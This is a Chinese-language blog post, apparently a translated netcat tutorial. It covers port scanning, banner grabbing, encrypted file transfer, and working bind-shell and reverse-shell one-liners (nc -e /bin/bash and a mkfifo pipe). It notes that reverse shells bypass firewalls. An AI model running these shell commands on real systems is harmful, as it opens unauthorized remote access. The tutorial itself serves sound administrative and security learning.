netcat的使用

1,端口掃描
端口掃描經常被系統管理員和黑客用來發現在一些機器上開放的端口,幫助他們識別系統中的漏洞。

$nc -z -v -n 172.31.100.7 21-25

可以運行在TCP或者UDP模式,默認是TCP,-u參數調整爲udp.
z 參數告訴netcat使用0 IO,連接成功後立即關閉連接, 不進行數據交換(謝謝@jxing 指點)

v 參數指使用冗餘選項(譯者注:即詳細輸出)

n 參數告訴netcat 不要使用DNS反向查詢IP地址的域名

這個命令會打印21到25 所有開放的端口。Banner是一個文本,Banner是一個你連接的服務發送給你的文本信息。當你試圖鑑別漏洞或者服務的類型和版本的時候,Banner信息是非常有用的。但是,並不是所有的服務都會發送banner。

一旦你發現開放的端口,你可以容易的使用netcat 連接服務抓取他們的banner。

$ nc -v 172.31.100.7 21

netcat 命令會連接開放端口21並且打印運行在這個端口上服務的banner信息。

加密你通過網絡發送的數據
如果你擔心你在網絡上發送數據的安全,你可以在發送你的數據之前用如mcrypt的工具加密。

服務端

$nc localhost 1567 | mcrypt –flush –bare -F -q -d -m ecb > file.txt

使用mcrypt工具加密數據。
客戶端

$mcrypt –flush –bare -F -q -m ecb < file.txt | nc -l 1567

使用mcrypt工具解密數據。
以上兩個命令會提示需要密碼,確保兩端使用相同的密碼。

這裏我們是使用mcrypt用來加密,使用其它任意加密工具都可以。

8,打開一個shell
我們已經用過遠程shell-使用telnet和ssh,但是如果這兩個命令沒有安裝並且我們沒有權限安裝他們,我們也可以使用netcat創建遠程shell。

假設你的netcat支持 -c -e 參數(默認 netcat)

Server

$nc -l 1567 -e /bin/bash -i
Client
$nc 172.31.100.7 1567

這裏我們已經創建了一個netcat服務器並且表示當它連接成功時執行/bin/bash
假如netcat 不支持-c 或者 -e 參數(openbsd netcat),我們仍然能夠創建遠程shell

Server

$mkfifo /tmp/tmp_fifo
$cat /tmp/tmp_fifo | /bin/sh -i 2>&1 | nc -l 1567 > /tmp/tmp_fifo

這裏我們創建了一個fifo文件,然後使用管道命令把這個fifo文件內容定向到shell 2>&1中。是用來重定向標準錯誤輸出和標準輸出,然後管道到netcat 運行的端口1567上。至此,我們已經把netcat的輸出重定向到fifo文件中。
說明:

從網絡收到的輸入寫到fifo文件中

cat 命令讀取fifo文件並且其內容發送給sh命令

sh命令進程受到輸入並把它寫回到netcat。

netcat 通過網絡發送輸出到client

至於爲什麼會成功是因爲管道使命令平行執行,fifo文件用來替代正常文件,因爲fifo使讀取等待而如果是一個普通文件,cat命令會盡快結束並開始讀取空文件。

在客戶端僅僅簡單連接到服務器

Client

$nc -n 172.31.100.7 1567

你會得到一個shell提示符在客戶端
蔥油拌麪
蔥油拌麪
翻譯於 2013/04/10 20:05

其它翻譯版本 (1)
反向shell
反向shell是指在客戶端打開的shell。反向shell這樣命名是因爲不同於其他配置,這裏服務器使用的是由客戶提供的服務。

服務端

$nc -l 1567

在客戶端,簡單地告訴netcat在連接完成後,執行shell。
客戶端

$nc 172.31.100.7 1567 -e /bin/bash

現在,什麼是反向shell的特別之處呢
反向shell經常被用來繞過防火牆的限制,如阻止入站連接。例如,我有一個專用IP地址爲172.31.100.7,我使用代理服務器連接到外部網絡。如果我想從網絡外部訪問 這臺機器如1.2.3.4的shell,那麼我會用反向外殼用於這一目的。

發佈了31 篇原創文章 · 獲贊 19 · 訪問量 3063
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章